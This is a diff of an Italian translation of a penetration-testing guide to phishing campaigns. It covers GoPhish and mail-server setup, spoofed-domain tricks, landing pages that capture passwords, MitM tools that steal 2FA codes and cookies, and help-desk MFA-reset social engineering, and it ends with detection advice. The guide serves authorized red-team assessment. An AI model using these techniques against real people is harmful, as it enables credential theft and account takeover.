 | ||||
| **Automatic Tools** | ||||
| 
 | ||||
| @ -52,20 +52,20 @@ homograph-attacks.md | ||||
| 
 | ||||
| ### Bitflipping | ||||
| 
 | ||||
| Esiste la **possibilità che uno o più bit memorizzati o in comunicazione vengano invertiti automaticamente** a causa di vari fattori come brillamenti solari, raggi cosmici o errori hardware. | ||||
| Esiste la **possibilità che uno o più bit memorizzati o in comunicazione vengano automaticamente invertiti** a causa di vari fattori come eruzioni solari, raggi cosmici o errori hardware. | ||||
| 
 | ||||
| Quando questo concetto viene **applicato alle richieste DNS**, è possibile che il **dominio ricevuto dal server DNS** non sia lo stesso del dominio inizialmente richiesto. | ||||
| Quando questo concetto è **applicato alle richieste DNS**, è possibile che il **dominio ricevuto dal server DNS** non sia lo stesso del dominio inizialmente richiesto. | ||||
| 
 | ||||
| Per esempio, una singola modifica di bit nel dominio "windows.com" può trasformarlo in "windnws.com." | ||||
| Per esempio, una singola modifica di bit nel dominio "windows.com" può cambiarlo in "windnws.com." | ||||
| 
 | ||||
| Gli attacker possono **sfruttare questo registrando più domini bit-flipping** simili al dominio della vittima. L'intento è reindirizzare gli utenti legittimi alla propria infrastruttura. | ||||
| Gli attaccanti possono **sfruttare questo registrando più domini bit-flipping** simili al dominio della vittima. L'intento è reindirizzare gli utenti legittimi verso la loro infrastruttura. | ||||
| 
 | ||||
| Per maggiori informazioni leggi [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) | ||||
| 
 | ||||
| ### Buy a trusted domain | ||||
| 
 | ||||
| Puoi cercare su [https://www.expireddomains.net/](https://www.expireddomains.net) un dominio scaduto che potresti usare.\ | ||||
| Per assicurarti che il dominio scaduto che intendi acquistare **abbia già un buon SEO** puoi verificare come è categorizzato in: | ||||
| Per assicurarti che il dominio scaduto che stai per acquistare **abbia già un buon SEO** puoi verificare come è categorizzato in: | ||||
| 
 | ||||
| - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) | ||||
| - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) | ||||
| @ -78,8 +78,8 @@ Per assicurarti che il dominio scaduto che intendi acquistare **abbia già un bu | ||||
| - [https://hunter.io/](https://hunter.io) | ||||
| - [https://anymailfinder.com/](https://anymailfinder.com) | ||||
| 
 | ||||
| Per **scoprire più** indirizzi email validi o **verificare quelli** che hai già scoperto puoi controllare se puoi effettuare username brute force contro i server smtp della vittima. [Scopri come verificare/scoprire indirizzi email qui](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ | ||||
| Inoltre, non dimenticare che se gli utenti usano **un web portal per accedere alle loro mail**, puoi verificare se è vulnerabile a username brute force e sfruttare la vulnerabilità se possibile. | ||||
| Per **scoprire più** indirizzi email validi o **verificare quelli** che hai già trovato puoi controllare se è possibile effettuare brute-force sui server smtp della vittima. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ | ||||
| Inoltre, non dimenticare che se gli utenti usano **qualsiasi portale web per accedere alle loro mail**, puoi verificare se è vulnerabile a **username brute force**, ed eventualmente sfruttare la vulnerabilità se possibile. | ||||
| 
 | ||||
| ## Configuring GoPhish | ||||
| 
 | ||||
| @ -87,8 +87,8 @@ Inoltre, non dimenticare che se gli utenti usano **un web portal per accedere al | ||||
| 
 | ||||
| Puoi scaricarlo da [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) | ||||
| 
 | ||||
| Scaricalo e decomprimilo dentro `/opt/gophish` ed esegui `/opt/gophish/gophish`\ | ||||
| Ti verrà fornita una password per l'utente admin sulla porta 3333 nell'output. Quindi, accedi a quella porta e usa quelle credenziali per cambiare la password admin. Potrebbe essere necessario fare il tunnel di quella porta in locale: | ||||
| Download e decomprimi dentro `/opt/gophish` ed esegui `/opt/gophish/gophish`\ | ||||
| Ti verrà mostrata una password per l'utente admin sulla porta 3333 nell'output. Quindi, accedi a quella porta e usa quelle credenziali per cambiare la password admin. Potrebbe essere necessario fare il tunneling di quella porta in locale: | ||||
| ```bash | ||||
| ssh -L 3333:127.0.0.1:3333 <user>@<ip> | ||||
| ``` | ||||
| @ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip> | ||||
| 
 | ||||
| **Configurazione del certificato TLS** | ||||
| 
 | ||||
| Prima di questo passaggio dovresti aver **già acquistato il dominio** che intendi usare e deve essere **indirizzato** all'**IP del VPS** dove stai configurando **gophish**. | ||||
| Prima di questo passaggio dovresti **aver già acquistato il dominio** che intendi usare e deve essere **indirizzato** all'**IP del VPS** dove stai configurando **gophish**. | ||||
| ```bash | ||||
| DOMAIN="<domain>" | ||||
| wget https://dl.eff.org/certbot-auto | ||||
| @ -112,7 +112,7 @@ mkdir /opt/gophish/ssl_keys | ||||
| cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem | ||||
| cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt | ||||
| ``` | ||||
| **Configurazione della posta** | ||||
| **Configurazione Mail** | ||||
| 
 | ||||
| Inizia l'installazione: `apt-get install postfix` | ||||
| 
 | ||||
| @ -122,16 +122,16 @@ Poi aggiungi il dominio ai seguenti file: | ||||
| - **/etc/postfix/transport** | ||||
| - **/etc/postfix/virtual_regexp** | ||||
| 
 | ||||
| **Modifica anche i valori delle seguenti variabili dentro /etc/postfix/main.cf** | ||||
| **Cambia anche i valori delle seguenti variabili all'interno di /etc/postfix/main.cf** | ||||
| 
 | ||||
| `myhostname = <domain>`\ | ||||
| `mydestination = $myhostname, <domain>, localhost.com, localhost` | ||||
| 
 | ||||
| Infine modifica i file **`/etc/hostname`** e **`/etc/mailname`** con il tuo nome di dominio e **riavvia il tuo VPS.** | ||||
| 
 | ||||
| Ora, crea un **DNS A record** per `mail.<domain>` che punti all'**indirizzo IP** del VPS e un record **DNS MX** che punti a `mail.<domain>` | ||||
| Ora, crea un **record DNS A** per `mail.<domain>` che punti all'**indirizzo IP** della VPS e un **record DNS MX** che punti a `mail.<domain>` | ||||
| 
 | ||||
| Ora proviamo a inviare un'email: | ||||
| Ora testiamo l'invio di un'email: | ||||
| ```bash | ||||
| apt install mailutils | ||||
| echo "This is the body of the email" | mail -s "This is the subject line" test@email.com | ||||
| @ -164,9 +164,9 @@ Modifica `/opt/gophish/config.json` come segue (nota l'uso di https): | ||||
| } | ||||
| } | ||||
| ``` | ||||
| **Configurare il servizio gophish** | ||||
| **Configura il servizio gophish** | ||||
| 
 | ||||
| Per creare il servizio gophish in modo che possa essere avviato automaticamente e gestito come servizio, è possibile creare il file `/etc/init.d/gophish` con il seguente contenuto: | ||||
| Per creare il servizio gophish in modo che possa essere avviato automaticamente e gestito come servizio, puoi creare il file `/etc/init.d/gophish` con il seguente contenuto: | ||||
| ```bash | ||||
| #!/bin/bash | ||||
| # /etc/init.d/gophish | ||||
| @ -224,55 +224,55 @@ service gophish status | ||||
| ss -l | grep "3333\|443" | ||||
| service gophish stop | ||||
| ``` | ||||
| ## Configurazione del server mail e del dominio | ||||
| ## Configurare il server di posta e il dominio | ||||
| 
 | ||||
| ### Aspetta e sii legittimo | ||||
| ### Aspetta e sii credibile | ||||
| 
 | ||||
| Più un dominio è vecchio, meno è probabile che venga classificato come spam. Dovresti quindi attendere il più a lungo possibile (almeno 1 settimana) prima del phishing assessment. Inoltre, se pubblichi una pagina relativa a un settore con buona reputazione, la reputazione ottenuta sarà migliore. | ||||
| Più vecchio è un dominio, meno è probabile che venga contrassegnato come spam. Quindi dovresti aspettare il più possibile (almeno 1 settimana) prima della valutazione di phishing. Inoltre, se pubblichi una pagina relativa a un settore con buona reputazione, la reputazione ottenuta sarà migliore. | ||||
| 
 | ||||
| Nota che, anche se devi aspettare una settimana, puoi comunque completare ora tutta la configurazione. | ||||
| Nota che anche se devi aspettare una settimana, puoi completare la configurazione di tutto adesso. | ||||
| 
 | ||||
| ### Configura il record Reverse DNS (rDNS) | ||||
| ### Configurare il record Reverse DNS (rDNS) | ||||
| 
 | ||||
| Imposta un record rDNS (PTR) che risolva l'indirizzo IP del VPS nel nome di dominio. | ||||
| Imposta un record rDNS (PTR) che risolva l'indirizzo IP della VPS nel nome di dominio. | ||||
| 
 | ||||
| ### Sender Policy Framework (SPF) Record | ||||
| 
 | ||||
| Devi **configurare un record SPF per il nuovo dominio**. Se non sai cos'è un record SPF [**leggi questa pagina**](../../network-services-pentesting/pentesting-smtp/index.html#spf). | ||||
| Devi **configurare un SPF record per il nuovo dominio**. Se non sai cos'è un SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf). | ||||
| 
 | ||||
| Puoi usare [https://www.spfwizard.net/](https://www.spfwizard.net) per generare la tua policy SPF (usa l'IP della macchina VPS) | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Questo è il contenuto da impostare in un record TXT del dominio: | ||||
| Questo è il contenuto che deve essere impostato all'interno di un TXT record nel dominio: | ||||
| ```bash | ||||
| v=spf1 mx a ip4:ip.ip.ip.ip ?all | ||||
| ``` | ||||
| ### Record DMARC (Autenticazione dei messaggi basata sul dominio, reporting e conformità) | ||||
| ### Record DMARC (Autenticazione, Reporting e Conformità basati sul dominio) | ||||
| 
 | ||||
| Devi **configurare un record DMARC per il nuovo dominio**. Se non sai cos'è un record DMARC [**leggi questa pagina**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). | ||||
| 
 | ||||
| Devi creare un nuovo record DNS TXT che punti al nome host `_dmarc.<domain>` con il seguente contenuto: | ||||
| Devi creare un nuovo record DNS TXT che punti all'hostname `_dmarc.<domain>` con il seguente contenuto: | ||||
| ```bash | ||||
| v=DMARC1; p=none | ||||
| ``` | ||||
| ### DomainKeys Identified Mail (DKIM) | ||||
| 
 | ||||
| Devi **configurare un DKIM per il nuovo dominio**. Se non sai cos'è un record DMARC [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). | ||||
| Devi **configurare un DKIM per il nuovo dominio**. Se non sai cos'è un record DMARC [**leggi questa pagina**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). | ||||
| 
 | ||||
| Questo tutorial si basa su: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Devi concatenare entrambi i valori B64 che la chiave DKIM genera: | ||||
| > È necessario concatenare entrambi i valori B64 che la chiave DKIM genera: | ||||
| > | ||||
| > ``` | ||||
| > v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB | ||||
| > ``` | ||||
| 
 | ||||
| ### Testa il punteggio della configurazione della tua email | ||||
| ### Test your email configuration score | ||||
| 
 | ||||
| Puoi farlo usando [https://www.mail-tester.com/](https://www.mail-tester.com)\ | ||||
| Basta accedere alla pagina e inviare un'email all'indirizzo che ti indicano: | ||||
| Accedi alla pagina e invia un'email all'indirizzo che ti forniscono: | ||||
| ```bash | ||||
| echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com | ||||
| ``` | ||||
| @ -288,7 +288,7 @@ DKIM check:         pass | ||||
| Sender-ID check:    pass | ||||
| SpamAssassin check: ham | ||||
| ``` | ||||
| Puoi anche inviare **un messaggio a un account Gmail sotto il tuo controllo**, e controllare le **intestazioni dell'email** nella tua casella Gmail: `dkim=pass` dovrebbe essere presente nel campo header `Authentication-Results`. | ||||
| Puoi anche inviare un **messaggio a un account Gmail sotto il tuo controllo** e controllare le **intestazioni dell'email** nella tua casella di posta Gmail: `dkim=pass` dovrebbe essere presente nel campo di intestazione `Authentication-Results`. | ||||
| ``` | ||||
| Authentication-Results: mx.google.com; | ||||
| spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; | ||||
| @ -296,32 +296,32 @@ dkim=pass header.i=@example.com; | ||||
| ``` | ||||
| ### Rimozione dalla Spamhouse Blacklist | ||||
| 
 | ||||
| La pagina [www.mail-tester.com](https://www.mail-tester.com) può indicarti se il tuo dominio è bloccato da spamhouse. Puoi richiedere la rimozione del tuo dominio/IP su: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) | ||||
| La pagina [www.mail-tester.com](https://www.mail-tester.com) può indicare se il tuo dominio è bloccato da Spamhouse. Puoi richiedere la rimozione del tuo dominio/IP su: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) | ||||
| 
 | ||||
| ### Rimozione dalla Microsoft Blacklist | ||||
| 
 | ||||
| Puoi richiedere la rimozione del tuo dominio/IP su [https://sender.office.com/](https://sender.office.com). | ||||
| 
 | ||||
| ## Create & Launch GoPhish Campaign | ||||
| ## Creare e lanciare una campagna GoPhish | ||||
| 
 | ||||
| ### Sending Profile | ||||
| ### Profilo mittente | ||||
| 
 | ||||
| - Inserisci un **nome per identificare** il profilo mittente | ||||
| - Imposta un **nome identificativo** per il profilo mittente | ||||
| - Decidi da quale account invierai le email di phishing. Suggerimenti: _noreply, support, servicedesk, salesforce..._ | ||||
| - Puoi lasciare vuoti username e password, ma assicurati di selezionare Ignore Certificate Errors | ||||
| - Puoi lasciare vuoti username e password, ma assicurati di selezionare "Ignore Certificate Errors" | ||||
| 
 | ||||
|  (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > È consigliato utilizzare la funzionalità "**Send Test Email**" per verificare che tutto funzioni.\ | ||||
| > Consiglio di **inviare le test email a 10min mails addresses** per evitare di finire in blacklist durante i test. | ||||
| > Si consiglia di utilizzare la funzionalità "**Send Test Email**" per verificare che tutto funzioni.\ | ||||
| > Raccomando di **inviare le email di test a indirizzi 10min mail** per evitare di finire in blacklist durante i test. | ||||
| 
 | ||||
| ### Email Template | ||||
| ### Modello email | ||||
| 
 | ||||
| - Inserisci un **nome per identificare** il template | ||||
| - Poi scrivi un **subject** (niente di strano, qualcosa che ci si aspetterebbe di leggere in una email normale) | ||||
| - Imposta un **nome identificativo** per il modello | ||||
| - Poi scrivi un **oggetto** (niente di strano, qualcosa che ti aspetteresti di leggere in una normale email) | ||||
| - Assicurati di aver selezionato "**Add Tracking Image**" | ||||
| - Scrivi il **email template** (puoi usare variabili come nel seguente esempio): | ||||
| - Scrivi il **template dell'email** (puoi usare variabili come nell'esempio seguente): | ||||
| ```html | ||||
| <html> | ||||
| <head> | ||||
| @ -340,20 +340,20 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY | ||||
| </body> | ||||
| </html> | ||||
| ``` | ||||
| Nota che **per aumentare la credibilità dell'email** è raccomandato usare qualche firma presa da un'email del cliente. Suggerimenti: | ||||
| Nota che **per aumentare la credibilità dell'email**, è consigliabile usare qualche firma recuperata da un'email del cliente. Suggerimenti: | ||||
| 
 | ||||
| - Invia un'email a un **indirizzo inesistente** e verifica se la risposta contiene una firma. | ||||
| - Cerca **email pubbliche** come info@ex.com o press@ex.com o public@ex.com e invia loro un'email aspettando la risposta. | ||||
| - Prova a contattare **un indirizzo valido scoperto** e attendi la risposta | ||||
| - Invia un'email a un **indirizzo inesistente** e verifica se la risposta contiene qualche firma. | ||||
| - Cerca **email pubbliche** come info@ex.com o press@ex.com o public@ex.com e inviagli un'email, poi attendi la risposta. | ||||
| - Prova a contattare **alcuni indirizzi validi scoperti** e attendi la risposta. | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > The Email Template also allows to **attach files to send**. If you would also like to steal NTLM challenges using some specially crafted files/documents [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). | ||||
| > Il template Email permette anche di **allegare file da inviare**. Se vuoi anche rubare challenge NTLM usando file/documenti appositamente creati [leggi questa pagina](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). | ||||
| 
 | ||||
| ### Landing Page | ||||
| 
 | ||||
| - Inserisci un **nome** | ||||
| - Scrivi un **nome** | ||||
| - **Scrivi il codice HTML** della pagina web. Nota che puoi **importare** pagine web. | ||||
| - Seleziona **Capture Submitted Data** e **Capture Passwords** | ||||
| - Imposta una **redirection** | ||||
| @ -361,44 +361,44 @@ Nota che **per aumentare la credibilità dell'email** è raccomandato usare qual | ||||
| .png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Solitamente dovrai modificare il codice HTML della pagina e fare dei test in locale (magari usando un server Apache) **fino a quando non sei soddisfatto del risultato.** Poi, incolla quel codice HTML nella casella.\ | ||||
| > Nota che se hai bisogno di **utilizzare risorse statiche** per l'HTML (per esempio CSS o JS) puoi salvarle in _**/opt/gophish/static/endpoint**_ e poi accedervi da _**/static/\<filename>**_ | ||||
| > Di solito dovrai modificare il codice HTML della pagina e fare dei test in locale (magari usando un server Apache) **finché non sei soddisfatto del risultato.** Poi incolla quel codice HTML nella casella.\ | ||||
| > Nota che se hai bisogno di **usare risorse statiche** per l'HTML (ad esempio dei file CSS o JS) puoi salvarle in _**/opt/gophish/static/endpoint**_ e poi richiamarle da _**/static/\<filename>**_ | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Per la redirection potresti **reindirizzare gli utenti alla pagina principale legittima** della vittima, oppure reindirizzarli a _/static/migration.html_ ad esempio, mettere una **ruota che gira (**[**https://loading.io/**](https://loading.io)**) per 5 secondi e poi indicare che il processo è stato completato con successo**. | ||||
| > Per la redirezione potresti **riindirizzare gli utenti alla pagina principale legittima** della vittima, oppure reindirizzarli a _/static/migration.html_, mettere una **spinning wheel** ([https://loading.io/](https://loading.io/)) per 5 secondi e poi indicare che il processo è andato a buon fine. | ||||
| 
 | ||||
| ### Users & Groups | ||||
| 
 | ||||
| - Imposta un nome | ||||
| - **Importa i dati** (nota che per usare il template di esempio hai bisogno del firstname, last name e email address di ogni utente) | ||||
| - **Importa i dati** (nota che per usare il template di esempio ti servono firstname, last name e email di ogni utente) | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| ### Campaign | ||||
| 
 | ||||
| Infine, crea una campagna selezionando un nome, l'email template, la landing page, l'URL, il sending profile e il gruppo. Nota che l'URL sarà il link inviato alle vittime | ||||
| Infine, crea una campaign selezionando un nome, il template email, la landing page, l'URL, il sending profile e il gruppo. Nota che l'URL sarà il link inviato alle vittime. | ||||
| 
 | ||||
| Nota che il **Sending Profile permette di inviare un'email di test per vedere come apparirà l'email di phishing finale**: | ||||
| Nota che il **Sending Profile permette di inviare una email di test per vedere come apparirà l'email di phishing finale**: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Raccomando di **inviare le email di test a indirizzi 10min mails** per evitare di essere inseriti in blacklist durante i test. | ||||
| > Consiglio di **inviare le email di test a indirizzi 10min mails** per evitare di essere inseriti in blacklist durante i test. | ||||
| 
 | ||||
| Una volta pronto tutto, lancia la campagna! | ||||
| Una volta che tutto è pronto, avvia la campaign! | ||||
| 
 | ||||
| ## Clonazione del sito web | ||||
| ## Website Cloning | ||||
| 
 | ||||
| Se per qualsiasi motivo vuoi clonare il sito web consulta la seguente pagina: | ||||
| Se per qualche motivo vuoi clonare il sito web, consulta la seguente pagina: | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| clone-a-website.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ## File e documenti con backdoor | ||||
| ## Backdoored Documents & Files | ||||
| 
 | ||||
| In alcune valutazioni di phishing (soprattutto per Red Teams) vorrai anche **inviare file che contengano una qualche backdoor** (magari un C2 o magari solo qualcosa che scateni un'autenticazione).\ | ||||
| In alcune valutazioni di phishing (soprattutto per Red Teams) vorrai anche **inviare file contenenti una backdoor** (magari una C2 o qualcosa che inneschi un'autenticazione).\ | ||||
| Dai un'occhiata alla seguente pagina per alcuni esempi: | ||||
| 
 | ||||
| 
 | ||||
| @ -410,53 +410,53 @@ phishing-documents.md | ||||
| 
 | ||||
| ### Via Proxy MitM | ||||
| 
 | ||||
| L'attacco precedente è piuttosto efficace perché stai falsificando un sito reale e raccogliendo le informazioni inserite dall'utente. Sfortunatamente, se l'utente non inserisce la password corretta o se l'applicazione che hai falsificato è configurata con 2FA, **queste informazioni non ti permetteranno di impersonare l'utente raggirato**. | ||||
| L'attacco precedente è piuttosto astuto perché stai falsificando un sito reale e raccogliendo le informazioni inserite dall'utente. Purtroppo, se l'utente non ha inserito la password corretta o se l'applicazione che hai falsificato è configurata con 2FA, **queste informazioni non ti permetteranno di impersonare l'utente ingannato**. | ||||
| 
 | ||||
| Qui entrano in gioco strumenti come [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena). Questi strumenti permettono di generare un attacco MitM. Fondamentalmente, l'attacco funziona così: | ||||
| Qui entrano in gioco strumenti come [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena). Questi tool ti permettono di generare un attacco MitM. Fondamentalmente, l'attacco funziona così: | ||||
| 
 | ||||
| 1. Tu **falsifichi il form di login** della pagina reale. | ||||
| 2. L'utente **invia** le sue **credenziali** alla tua pagina fake e lo strumento le invia alla pagina reale, **verificando se le credenziali funzionano**. | ||||
| 3. Se l'account è configurato con **2FA**, la pagina MitM richiederà il codice e una volta che **l'utente lo inserisce** lo strumento lo inoltrerà alla pagina web reale. | ||||
| 4. Una volta che l'utente è autenticato tu (come attaccante) avrai **catturato le credenziali, la 2FA, il cookie e qualsiasi informazione** di ogni interazione mentre lo strumento esegue il MitM. | ||||
| 2. L'utente **inviasse** le sue **credenziali** alla tua pagina fake e lo strumento le invia alla pagina reale, **verificando se le credenziali sono valide**. | ||||
| 3. Se l'account è configurato con **2FA**, la pagina MitM chiederà il codice e una volta che **l'utente lo inserisce** lo strumento lo invierà alla pagina reale. | ||||
| 4. Una volta che l'utente è autenticato tu (come attaccante) avrai **catturato le credenziali, il 2FA, il cookie e tutte le informazioni** di ogni interazione mentre lo strumento effettua il MitM. | ||||
| 
 | ||||
| ### Via VNC | ||||
| 
 | ||||
| E se invece di **inviare la vittima a una pagina malevola** dall'aspetto identico all'originale, la mandi a una **sessione VNC con un browser connesso alla pagina reale**? Potrai vedere cosa fa, rubare la password, l'MFA usata, i cookie...\ | ||||
| E se invece di **inviare la vittima a una pagina malevola** con lo stesso aspetto dell'originale, la mandi a una **sessione VNC con un browser connesso alla pagina reale**? Potrai vedere cosa fa, rubare la password, l'MFA usata, i cookie...\ | ||||
| Puoi farlo con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) | ||||
| 
 | ||||
| ## Rilevare di essere stati scoperti | ||||
| ## Detecting the detection | ||||
| 
 | ||||
| Ovviamente uno dei modi migliori per sapere se sei stato beccato è **cercare il tuo dominio nelle blacklist**. Se appare elencato, in qualche modo il tuo dominio è stato rilevato come sospetto.\ | ||||
| Un modo semplice per verificare se il tuo dominio appare in qualche blacklist è usare [https://malwareworld.com/](https://malwareworld.com) | ||||
| Ovviamente uno dei modi migliori per sapere se sei stato scoperto è **cercare il tuo dominio nelle blacklist**. Se risulta presente, in qualche modo il tuo dominio è stato rilevato come sospetto.\ | ||||
| Un modo semplice per verificare se il tuo dominio è presente in qualche blacklist è usare [https://malwareworld.com/](https://malwareworld.com) | ||||
| 
 | ||||
| Tuttavia, ci sono altri modi per capire se la vittima sta **attivamente cercando attività di phishing sospette** in circolazione, come spiegato in: | ||||
| Tuttavia, ci sono altri modi per capire se la vittima sta **attivamente cercando attività di phishing sospette** nel mondo reale, come spiegato in: | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| detecting-phising.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| Puoi **comprare un dominio con un nome molto simile** a quello della vittima **e/o generare un certificato** per un **sottodominio** di un dominio controllato da te **contenente** la **parola chiave** del dominio della vittima. Se la **vittima** effettua qualsiasi tipo di **interazione DNS o HTTP** con essi, saprai che **sta cercando attivamente** domini sospetti e dovrai essere molto stealth. | ||||
| Puoi **acquistare un dominio con un nome molto simile** a quello della vittima **e/o generare un certificato** per un **sottodominio** di un dominio controllato da te **contenente** la **parola chiave** del dominio della vittima. Se la **vittima** effettua qualsiasi tipo di **interazione DNS o HTTP** con essi, saprai che **sta cercando attivamente** domini sospetti e dovrai essere molto stealth. | ||||
| 
 | ||||
| ### Valutare il phishing | ||||
| ### Evaluate the phishing | ||||
| 
 | ||||
| Usa [**Phishious** ](https://github.com/Rices/Phishious) per valutare se la tua email finirà nella cartella spam o se verrà bloccata o avrà successo. | ||||
| Usa [**Phishious**](https://github.com/Rices/Phishious) per valutare se la tua email finirà nella cartella spam, se verrà bloccata o se avrà successo. | ||||
| 
 | ||||
| ## High-Touch Identity Compromise (Help-Desk MFA Reset) | ||||
| 
 | ||||
| I moderni set di intrusione sempre più spesso evitano completamente gli esche via email e **mirano direttamente al servizio di help-desk / al workflow di recovery dell'identità** per bypassare l'MFA. L'attacco è totalmente "living-off-the-land": una volta che l'operatore ottiene credenziali valide pivotano con strumenti amministrativi integrati – non è necessario malware. | ||||
| Set di intrusioni moderni sempre più spesso saltano completamente le email di lure e **puntano direttamente al workflow di service-desk / identity-recovery** per bypassare l'MFA. L'attacco è totalmente "living-off-the-land": una volta ottenute credenziali valide l'operatore pivota con strumenti amministrativi integrati – nessun malware è necessario. | ||||
| 
 | ||||
| ### Flusso dell'attacco | ||||
| 1. Recon sulla vittima | ||||
| * Raccogli dettagli personali e aziendali da LinkedIn, breach di dati, GitHub pubblico, ecc. | ||||
| * Identifica identità ad alto valore (dirigenti, IT, finance) e enumera il **preciso processo di help-desk** per il reset di password / MFA. | ||||
| ### Attack flow | ||||
| 1. Recon della vittima | ||||
| * Raccogli dettagli personali e aziendali da LinkedIn, data breaches, GitHub pubblico, ecc. | ||||
| * Identifica identità ad alto valore (executive, IT, finance) e enumera il **processo esatto dell'help-desk** per il reset di password / MFA. | ||||
| 2. Social engineering in tempo reale | ||||
| * Chiama, contatta via Teams o chat l'help-desk impersonando la vittima (spesso con **spoofed caller-ID** o **voce clonata**). | ||||
| * Fornisci i PII raccolti in precedenza per superare la verifica basata sulla conoscenza. | ||||
| * Convincere l'agente a **resettare il secret MFA** o eseguire un **SIM-swap** su un numero mobile registrato. | ||||
| 3. Azioni immediate post-accesso (≤60 min in casi reali) | ||||
| * Stabilisci un foothold tramite qualsiasi portale web SSO. | ||||
| * Enumera AD / AzureAD con strumenti integrati (nessun binary lasciato): | ||||
| * Chiama, usa Teams o chatta con l'help-desk impersonando il target (spesso con **caller-ID spoofato** o **voce clonata**). | ||||
| * Fornisci il PII raccolto in precedenza per superare la verifica basata sulla conoscenza. | ||||
| * Convincere l'operatore a **resettare il secret MFA** o a effettuare un **SIM-swap** su un numero mobile registrato. | ||||
| 3. Azioni post-accesso immediate (≤60 min nei casi reali) | ||||
| * Stabilisci un foothold tramite qualsiasi web SSO portal. | ||||
| * Enumera AD / AzureAD con strumenti integrati (nessun binario scaricato): | ||||
| ```powershell | ||||
| # list directory groups & privileged roles | ||||
| Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME} | ||||
| @ -467,56 +467,56 @@ Get-MgDirectoryRole | ft DisplayName,Id | ||||
| # Enumerate devices the account can login to | ||||
| Get-MgUserRegisteredDevice -UserId <user@corp.local> | ||||
| ``` | ||||
| * Movimento laterale con **WMI**, **PsExec**, o agenti legittimi **RMM** già nella whitelist dell'ambiente. | ||||
| * Movimenti laterali con **WMI**, **PsExec**, o agenti **RMM** legittimi già whitelistati nell'ambiente. | ||||
| 
 | ||||
| ### Rilevazione e mitigazione | ||||
| * Tratta il recovery dell'identità tramite help-desk come un'**operazione privilegiata** – richiedi step-up auth e approvazione del manager. | ||||
| * Distribuisci regole **Identity Threat Detection & Response (ITDR)** / **UEBA** che generino alert su: | ||||
|   * Metodo MFA cambiato + autenticazione da nuovo dispositivo / nuova geo. | ||||
|   * Immediata elevazione dello stesso principal (user → admin). | ||||
| * Registra le chiamate dell'help-desk e imposta un **call-back a un numero già registrato** prima di qualsiasi reset. | ||||
| ### Detection & Mitigation | ||||
| * Tratta il recovery identità via help-desk come un'operazione **privilegiata** – richiedi step-up auth e approvazione del manager. | ||||
| * Deploya regole **Identity Threat Detection & Response (ITDR)** / **UEBA** che generino alert su: | ||||
| * Metodo MFA cambiato + autenticazione da nuovo dispositivo / geo. | ||||
| * Immediate elevazioni dello stesso principal (user → admin). | ||||
